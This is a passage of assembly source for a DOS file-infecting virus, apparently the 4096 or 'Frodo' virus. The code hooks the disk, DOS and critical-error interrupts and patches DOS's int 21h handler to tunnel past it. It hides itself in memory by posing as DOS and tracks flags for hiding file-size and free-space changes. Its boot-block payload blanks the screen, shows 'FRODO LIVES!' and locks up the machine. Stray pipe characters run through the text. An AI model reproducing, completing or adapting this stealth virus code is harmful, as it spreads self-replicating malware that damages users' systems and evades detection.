|
|
pop ds
|
|||
|
|
mov al,13h ; save int 13 handler
|
|||
|
|
call getint
|
|||
|
|
mov word ptr ds:origints,bx
|
|||
|
|
mov word ptr ds:origints+2,es
|
|||
|
|
mov word ptr ds:oldint13,bx
|
|||
|
|
mov word ptr ds:oldint13+2,es
|
|||
|
|
mov dl,0
|
|||
|
|
mov al,0Dh ; fixed disk interrupt
|
|||
|
|
call getint
|
|||
|
|
mov ax,es
|
|||
|
|
cmp ax,0C000h ; is there a hard disk?
|
|||
|
|
jae harddiskpresent ; C000+ is in BIOS
|
|||
|
|
mov dl,2
|
|||
|
|
harddiskpresent:
|
|||
|
|
mov al,0Eh ; floppy disk interrupt
|
|||
|
|
call getint
|
|||
|
|
mov ax,es
|
|||
|
|
cmp ax,0C000h ; check if floppy
|
|||
|
|
jae floppypresent
|
|||
|
|
mov dl,2
|
|||
|
|
floppypresent:
|
|||
|
|
mov ds:tracemode,dl
|
|||
|
|
call replaceint1
|
|||
|
|
mov ds:savess,ss ; save stack
|
|||
|
|
mov ds:savesp,sp
|
|||
|
|
push cs ; save these on stack for
|
|||
|
|
mov ax,offset setvirusints ; return to setvirusints
|
|||
|
|
push ax
|
|||
|
|
mov ax,70h
|
|||
|
|
mov es,ax
|
|||
|
|
mov cx,0FFFFh
|
|||
|
|
mov al,0CBh ; retf
|
|||
|
|
xor di,di
|
|||
|
|
repne scasb ;scan es:di for retf statement
|
|||
|
|
dec di ; es:di->retf statement
|
|||
|
|
pushf
|
|||
|
|
push es ; set up stack for iret to
|
|||
|
|
push di ; the retf statement which
|
|||
|
|
; will cause transfer of
|
|||
|
|
; control to setvirusints
|
|||
|
|
pushf
|
|||
|
|
pop ax
|
|||
|
|
or ah,1 ; turn on the trap flag
|
|||
|
|
push ax
|
|||
|
|
in al,21h ; save IMR in temporary
|
|||
|
|
mov ds:saveIMR,al ; buffer and then
|
|||
|
|
mov al,0FFh ; disable all the
|
|||
|
|
out 21h,al ; interrupts
|
|||
|
|
popf
|
|||
|
|
xor ax,ax ; reset disk
|
|||
|
|
jmp dword ptr ds:origints ; (int 13h call)
|
|||
|
|
; then transfer control to
|
|||
|
|
setvirusints: ; setvirusints
|
|||
|
|
lds dx,dword ptr ds:oldint1
|
|||
|
|
mov al,1 ; restore old int 1 handler
|
|||
|
|
call setvect
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov dx,offset int13 ; replace old int 13h handler
|
|||
|
|
mov al,13h ; with virus's
|
|||
|
|
call setvect
|
|||
|
|
mov al,24h ; Get old critical error
|
|||
|
|
call getint ; handler and save its
|
|||
|
|
mov word ptr ds:oldint24,bx ; location
|
|||
|
|
mov word ptr ds:oldint24+2,es
|
|||
|
|
mov dx,offset int24
|
|||
|
|
mov al,24h ; Replace int 24 handler
|
|||
|
|
call setvect ; with virus's handler
|
|||
|
|
call restoreregs
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
restoreint13and24:
|
|||
|
|
call saveregs
|
|||
|
|
lds dx,dword ptr cs:oldint13
|
|||
|
|
mov al,13h
|
|||
|
|
call setvect
|
|||
|
|
lds dx,dword ptr cs:oldint24
|
|||
|
|
mov al,24h
|
|||
|
|
call setvect
|
|||
|
|
call restoreregs
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
disableBREAK:
|
|||
|
|
mov ax,3300h ; Get current BREAK setting
|
|||
|
|
call callint21
|
|||
|
|
mov cs:BREAKsave,dl
|
|||
|
|
mov ax,3301h ; Turn BREAK off
|
|||
|
|
xor dl,dl
|
|||
|
|
call callint21
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
restoreBREAK:
|
|||
|
|
mov dl,cs:BREAKsave
|
|||
|
|
mov ax,3301h ; restore BREAK setting
|
|||
|
|
call callint21
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
_pushall:
|
|||
|
|
pop word ptr cs:pushpopalltempstore
|
|||
|
|
pushf
|
|||
|
|
push ax
|
|||
|
|
push bx
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
push si
|
|||
|
|
push di
|
|||
|
|
push ds
|
|||
|
|
push es
|
|||
|
|
jmp word ptr cs:pushpopalltempstore
|
|||
|
|
|
|||
|
|
swapvirint21:
|
|||
|
|
les di,dword ptr cs:oldint21; delve into original int
|
|||
|
|
mov si,offset jmpfarptr ; handler and swap the first
|
|||
|
|
push cs ; 5 bytes. This toggles it
|
|||
|
|
pop ds ; between a jmp to the virus
|
|||
|
|
cld ; code and the original 5
|
|||
|
|
mov cx,5 ; bytes of the int handler
|
|||
|
|
swapvirint21loop: ; this is a tunnelling method
|
|||
|
|
lodsb ; if I ever saw one
|
|||
|
|
xchg al,es:[di] ; puts the bytes in DOS's
|
|||
|
|
mov [si-1],al ; int 21h handler
|
|||
|
|
inc di
|
|||
|
|
loop swapvirint21loop
|
|||
|
|
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
_popall:
|
|||
|
|
pop word ptr cs:pushpopalltempstore
|
|||
|
|
pop es
|
|||
|
|
pop ds
|
|||
|
|
pop di
|
|||
|
|
pop si
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
popf
|
|||
|
|
jmp word ptr cs:pushpopalltempstore
|
|||
|
|
|
|||
|
|
restoreregs:
|
|||
|
|
mov word ptr cs:storecall,offset _popall
|
|||
|
|
jmp short do_saverestoreregs
|
|||
|
|
|
|||
|
|
saveregs:
|
|||
|
|
mov word ptr cs:storecall,offset _pushall
|
|||
|
|
do_saverestoreregs:
|
|||
|
|
mov cs:storess,ss ; save stack
|
|||
|
|
mov cs:storesp,sp
|
|||
|
|
push cs
|
|||
|
|
pop ss
|
|||
|
|
mov sp,cs:stackptr ; set new stack
|
|||
|
|
call word ptr cs:storecall
|
|||
|
|
mov cs:stackptr,sp ; update internal stack ptr
|
|||
|
|
mov ss,cs:storess ; and restore stack to
|
|||
|
|
mov sp,cs:storesp ; caller program's stack
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
replaceint1:
|
|||
|
|
mov al,1 ; get the old interrupt
|
|||
|
|
call getint ; 1 handler and save it
|
|||
|
|
mov word ptr cs:oldint1,bx ; for later restoration
|
|||
|
|
mov word ptr cs:oldint1+2,es
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov dx,offset int1 ; set int 1 handler to
|
|||
|
|
call setvect ; the virus int handler
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
allocatememory:
|
|||
|
|
call allocate_memory
|
|||
|
|
jmp exitotherint21
|
|||
|
|
|
|||
|
|
allocate_memory:
|
|||
|
|
cmp byte ptr cs:checkres,0 ; installed check
|
|||
|
|
je exitallocate_memory ; exit if installed
|
|||
|
|
cmp bx,0FFFFh ; finding total memory?
|
|||
|
|
jne exitallocate_memory ; (virus trying to install?)
|
|||
|
|
mov bx,160h ; allocate memory to virus
|
|||
|
|
call callint21
|
|||
|
|
jc exitallocate_memory ; exit on error
|
|||
|
|
mov dx,cs
|
|||
|
|
cmp ax,dx
|
|||
|
|
jb continue_allocate_memory
|
|||
|
|
mov es,ax
|
|||
|
|
mov ah,49h ; Free memory
|
|||
|
|
call callint21
|
|||
|
|
jmp short exitallocate_memory
|
|||
|
|
continue_allocate_memory:
|
|||
|
|
dec dx ; get segment of MCB
|
|||
|
|
mov ds,dx
|
|||
|
|
mov word ptr ds:[1],0 ; mark unused MCB
|
|||
|
|
inc dx ; go to memory area
|
|||
|
|
mov ds,dx
|
|||
|
|
mov es,ax
|
|||
|
|
push ax
|
|||
|
|
mov word ptr cs:int21store+2,ax ; fixup segment
|
|||
|
|
xor si,si
|
|||
|
|
mov di,si
|
|||
|
|
mov cx,0B00h
|
|||
|
|
rep movsw ; copy virus up there
|
|||
|
|
dec ax ; go to MCB
|
|||
|
|
mov es,ax
|
|||
|
|
mov ax,cs:ownerfirstMCB ; get DOS PSP ID
|
|||
|
|
mov es:[1],ax ; make vir ID = DOS PSP ID
|
|||
|
|
mov ax,offset exitallocate_memory
|
|||
|
|
push ax
|
|||
|
|
retf
|
|||
|
|
|
|||
|
|
exitallocate_memory:
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
get_device_info:
|
|||
|
|
mov byte ptr cs:hide_size,2
|
|||
|
|
jmp exitotherint21
|
|||
|
|
|
|||
|
|
callint21: ; call original int 21h handler (tunnelled)
|
|||
|
|
pushf
|
|||
|
|
call dword ptr cs:oldint21
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
bootblock:
|
|||
|
|
cli
|
|||
|
|
xor ax,ax ; set new stack just below
|
|||
|
|
mov ss,ax ; start of load area for
|
|||
|
|
mov sp,7C00h ; boot block
|
|||
|
|
jmp short enter_bootblock
|
|||
|
|
borderchars db '<27><><EFBFBD> '
|
|||
|
|
|
|||
|
|
FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
|
|||
|
|
db 11111001b,11100000b,11100011b,11000011b,10000000b
|
|||
|
|
db 10000001b,00010001b,00010010b,00100100b,01000000b
|
|||
|
|
db 10000001b,00010001b,00010010b,00100100b,01000000b
|
|||
|
|
db 11110001b,11110001b,00010010b,00100100b,01000000b
|
|||
|
|
db 10000001b,00100001b,00010010b,00100100b,01000000b
|
|||
|
|
db 10000001b,00010000b,11100011b,11000011b,10000000b
|
|||
|
|
db 00000000b,00000000b,00000000b,00000000b,00000000b
|
|||
|
|
db 00000000b,00000000b,00000000b,00000000b,00000000b
|
|||
|
|
db 10000010b,01000100b,11111000b,01110000b,11000000b
|
|||
|
|
db 10000010b,01000100b,10000000b,10001000b,11000000b
|
|||
|
|
db 10000010b,01000100b,10000000b,10000000b,11000000b
|
|||
|
|
db 10000010b,01000100b,11110000b,01110000b,11000000b
|
|||
|
|
db 10000010b,00101000b,10000000b,00001000b,11000000b
|
|||
|
|
db 10000010b,00101000b,10000000b,10001000b,00000000b
|
|||
|
|
db 11110010b,00010000b,11111000b,01110000b,11000000b
|
|||
|
|
enter_bootblock:
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov dx,0B000h ; get video page in bh
|
|||
|
|
mov ah,0Fh ; get video mode in al
|
|||
|
|
int 10h ; get columns in ah
|
|||
|
|
|
|||
|
|
cmp al,7 ; check if colour
|
|||
|
|
je monochrome
|
|||
|
|
mov dx,0B800h ; colour segment
|
|||
|
|
monochrome:
|
|||
|
|
mov es,dx ; es->video segment
|
|||
|
|
cld
|
|||
|
|
xor di,di
|
|||
|
|
mov cx,25*80 ; entire screen
|
|||
|
|
mov ax,720h ; ' ', normal attribute
|
|||
|
|
rep stosw ; clear the screen
|
|||
|
|
mov si,7C00h+FRODO_LIVES-bootblock
|
|||
|
|
mov bx,2AEh
|
|||
|
|
morelinestodisplay:
|
|||
|
|
mov bp,5
|
|||
|
|
mov di,bx
|
|||
|
|
displaymorebackgroundontheline:
|
|||
|
|
lodsb ; get background pattern
|
|||
|
|
mov dh,al
|
|||
|
|
mov cx,8
|
|||
|
|
|
|||
|
|
displayinitialbackground:
|
|||
|
|
mov ax,720h
|
|||
|
|
shl dx,1
|
|||
|
|
jnc spacechar
|
|||
|
|
mov al,'<27>'
|
|||
|
|
spacechar:
|
|||
|
|
stosw
|
|||
|
|
loop displayinitialbackground
|
|||
|
|
|
|||
|
|
dec bp
|
|||
|
|
jnz displaymorebackgroundontheline
|
|||
|
|
add bx,80*2 ; go to next line
|
|||
|
|
cmp si,7C00h+enter_bootblock-bootblock
|
|||
|
|
jb morelinestodisplay
|
|||
|
|
mov ah,1 ; set cursor mode to cx
|
|||
|
|
int 10h
|
|||
|
|
|
|||
|
|
mov al,8 ; set new int 8 handler
|
|||
|
|
mov dx,7C00h+int8-bootblock ; to spin border
|
|||
|
|
call setvect
|
|||
|
|
mov ax,7FEh ; enable timer interrupts only
|
|||
|
|
out 21h,al
|
|||
|
|
|
|||
|
|
sti
|
|||
|
|
xor bx,bx
|
|||
|
|
mov cx,1
|
|||
|
|
jmp short $ ; loop forever while
|
|||
|
|
; spinning the border
|
|||
|
|
|
|||
|
|
int8: ; the timer interrupt spins
|
|||
|
|
dec cx ; the border
|
|||
|
|
jnz endint8
|
|||
|
|
xor di,di
|
|||
|
|
inc bx
|
|||
|
|
call spin_border
|
|||
|
|
call spin_border
|
|||
|
|
mov cl,4 ; wait 4 more ticks until
|
|||
|
|
endint8: ; next update
|
|||
|
|
mov al,20h ; Signal end of interrupt
|
|||
|
|
out 20h,al
|
|||
|
|
iret
|
|||
|
|
|
|||
|
|
spin_border:
|
|||
|
|
mov cx,28h ; do 40 characters across
|
|||
|
|
|
|||
|
|
dohorizontal:
|
|||
|
|
call lookup_border_char
|
|||
|
|
stosw
|
|||
|
|
stosw
|
|||
|
|
loop dohorizontal
|
|||
|
|
patch2:
|
|||
|
|
add di,9Eh ; go to next line
|
|||
|
|
mov cx,17h ; do for next 23 lines
|
|||
|
|
|
|||
|
|
dovertical: ; handle vertical borders
|
|||
|
|
call lookup_border_char ; get border character
|
|||
|
|
stosw ; print it on screen
|
|||
|
|
patch3:
|
|||
|
|
add di,9Eh ; go to next line
|
|||
|
|
loop dovertical
|
|||
|
|
patch1:
|
|||
|
|
std
|
|||
|
|
; this code handles the other half of the border
|
|||
|
|
xor byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
|
|||
|
|
xor byte ptr ds:[7C00h+patch2-bootblock+1],28h
|
|||
|
|
xor byte ptr ds:[7C00h+patch3-bootblock+1],28h
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
lookup_border_char:
|
|||
|
|
and bx,3 ; find corresponding border
|
|||
|
|
mov al,ds:[bx+7C00h+borderchars-bootblock]
|
|||
|
|
inc bx ; character
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
setvect:
|
|||
|
|
push es
|
|||
|
|
push bx
|
|||
|
|
xor bx,bx
|
|||
|
|
mov es,bx
|
|||
|
|
mov bl,al ; int # to bx
|
|||
|
|
shl bx,1 ; int # * 4 = offset in
|
|||
|
|
shl bx,1 ; interrupt table
|
|||
|
|
mov es:[bx],dx ; set the vector in the
|
|||
|
|
mov es:[bx+2],ds ; interrupt table
|
|||
|
|
pop bx
|
|||
|
|
pop es
|
|||
|
|
retn
|
|||
|
|
|
|||
|
|
|
|||
|
|
writebootblock: ; this is an unfinished subroutine; it doesn't work properly
|
|||
|
|
call replaceint13and24
|
|||
|
|
mov dl,80h
|
|||
|
|
db 0E8h, 08h, 00h, 32h,0D2h,0E8h
|
|||
|
|
db 03h, 01h, 00h, 9Ah, 0Eh, 32h
|
|||
|
|
db 08h, 70h, 00h, 33h, 0Eh, 2Eh
|
|||
|
|
db 03h, 6Ch, 15h, 03h, 00h, 26h
|
|||
|
|
db 00h, 00h, 00h, 21h, 00h, 50h
|
|||
|
|
db 12h, 65h, 14h, 82h, 08h, 00h
|
|||
|
|
db 0Ch, 9Ah, 0Eh, 56h, 07h, 70h
|
|||
|
|
db 00h, 33h, 0Eh, 2Eh, 03h, 6Ch
|
|||
|
|
db 15h,0E2h, 0Ch, 1Eh, 93h, 00h
|
|||
|
|
db 00h,0E2h, 0Ch, 50h
|
|||
|
|
|
|||
|
|
org 1200h
|
|||
|
|
readbuffer dw ? ; beginning of the read buffer
|
|||
|
|
lengthMOD512 dw ? ; EXE header item - length of image modulo 512
|
|||
|
|
lengthinpages dw ? ; EXE header item - length of image in pages
|
|||
|
|
relocationitems dw ? ; EXE header item - # relocation items
|
|||
|
|
headersize dw ? ; EXE header item - header size in paragraphs
|
|||
|
|
minmemory dw ? ; EXE header item - minimum memory allocation
|
|||
|
|
maxmemory dw ? ; EXE header item - maximum memory allocation
|
|||
|
|
initialSS dw ? ; EXE header item - initial SS value
|
|||
|
|
initialSP dw ? ; EXE header item - initial SP value
|
|||
|
|
wordchecksum dw ? ; EXE header item - checksum value
|
|||
|
|
initialIP dw ? ; EXE header item - initial IP value
|
|||
|
|
initialCS dw ? ; EXE header item - initial CS value
|
|||
|
|
db 12 dup (?) ; rest of header - unused
|
|||
|
|
parmblock dd ? ; address of parameter block
|
|||
|
|
filedrive db ? ; 0 = default drive
|
|||
|
|
filetime dw ? ; saved file time
|
|||
|
|
filedate dw ? ; saved file date
|
|||
|
|
origints dd ? ; temporary scratch buffer for interrupt vectors
|
|||
|
|
oldint1 dd ? ; original interrupt 1 vector
|
|||
|
|
oldint21 dd ? ; original interrupt 21h vector
|
|||
|
|
oldint13 dd ? ; original interrupt 13h vector
|
|||
|
|
oldint24 dd ? ; original interrupt 24h vector
|
|||
|
|
int13tempCSIP dd ? ; stores calling CS:IP of int 13h
|
|||
|
|
carrierPSP dw ? ; carrier file PSP segment
|
|||
|
|
DOSsegment dw ? ; segment of DOS list of lists
|
|||
|
|
ownerfirstMCB dw ? ; owner of the first MCB
|
|||
|
|
jmpfarptr db ? ; 0eah, jmp far ptr
|
|||
|
|
int21store dd ? ; temporary storage for other 4 bytes
|
|||
|
|
; and for pointer to virus int 21h
|
|||
|
|
tracemode db ? ; trace mode
|
|||
|
|
instructionstotrace db ? ; number of instructions to trace
|
|||
|
|
handletable dw 28h dup (?) ; array of handles
|
|||
|
|
handlesleft db ? ; entries left in table
|
|||
|
|
currentPSP dw ? ; storage for the current PSP segment
|
|||
|
|
curfileposlow dw ? ; current file pointer location, low word
|
|||
|
|
curfileposhigh dw ? ; current file pointer location, high word
|
|||
|
|
filesizelow dw ? ; current file size, low word
|
|||
|
|
filesizehigh dw ? ; current file size, high word
|
|||
|
|
savebuffer dw ? ; storage for handle read, etc.
|
|||
|
|
savelength dw ? ; functions
|
|||
|
|
return_code dw ? ; returned in AX on exit of int 21h
|
|||
|
|
int21flags dw ? ; storage of int 21h return flags register
|
|||
|
|
tempFCB db 25h dup (?) ; copy of the FCB
|
|||
|
|
errorflag db ? ; 0 if no error, 1 if error
|
|||
|
|
int13flags dw ? ; storage of int 13h return flags register
|
|||
|
|
savess dw ? ; temporary storage of stack segment
|
|||
|
|
savesp dw ? ; and stack pointer
|
|||
|
|
BREAKsave db ? ; current BREAK state
|
|||
|
|
checkres db ? ; already installed flag
|
|||
|
|
initialax dw ? ; AX upon entry to carrier
|
|||
|
|
saveIMR db ? ; storage for interrupt mask register
|
|||
|
|
saveoffset dw ? ; temp storage of CS:IP of
|
|||
|
|
savesegment dw ? ; caller to int 21h
|
|||
|
|
pushpopalltempstore dw ? ; push/popall caller address
|
|||
|
|
numfreeclusters dw ? ; total free clusters
|
|||
|
|
DOSversion db ? ; current DOS version
|
|||
|
|
hideclustercountchange db ? ; flag of whether to hide free cluster count
|
|||
|
|
hide_size db ? ; hide filesize increase if equal to 0
|
|||
|
|
copyparmblock db 0eh dup (?) ; copy of the parameter block
|
|||
|
|
origsp dw ? ; temporary storage of stack pointer
|
|||
|
|
origss dw ? ; and stack segment
|
|||
|
|
origcsip dd ? ; temporary storage of caller CS:IP
|
|||
|
|
copyfilename db 50h dup (?) ; copy of filename
|
|||
|
|
storesp dw ? ; temporary storage of stack pointer
|
|||
|
|
storess dw ? ; and stack segment
|
|||
|
|
stackptr dw ? ; register storage stack pointer
|
|||
|
|
storecall dw ? ; temporary storage of function offset
|
|||
|
|
|
|||
|
|
topstack = 1600h
|
|||
|
|
|
|||
|
|
_4096 ends
|
|||
|
|
end
|
|||
|
|
|
|||
|
|
|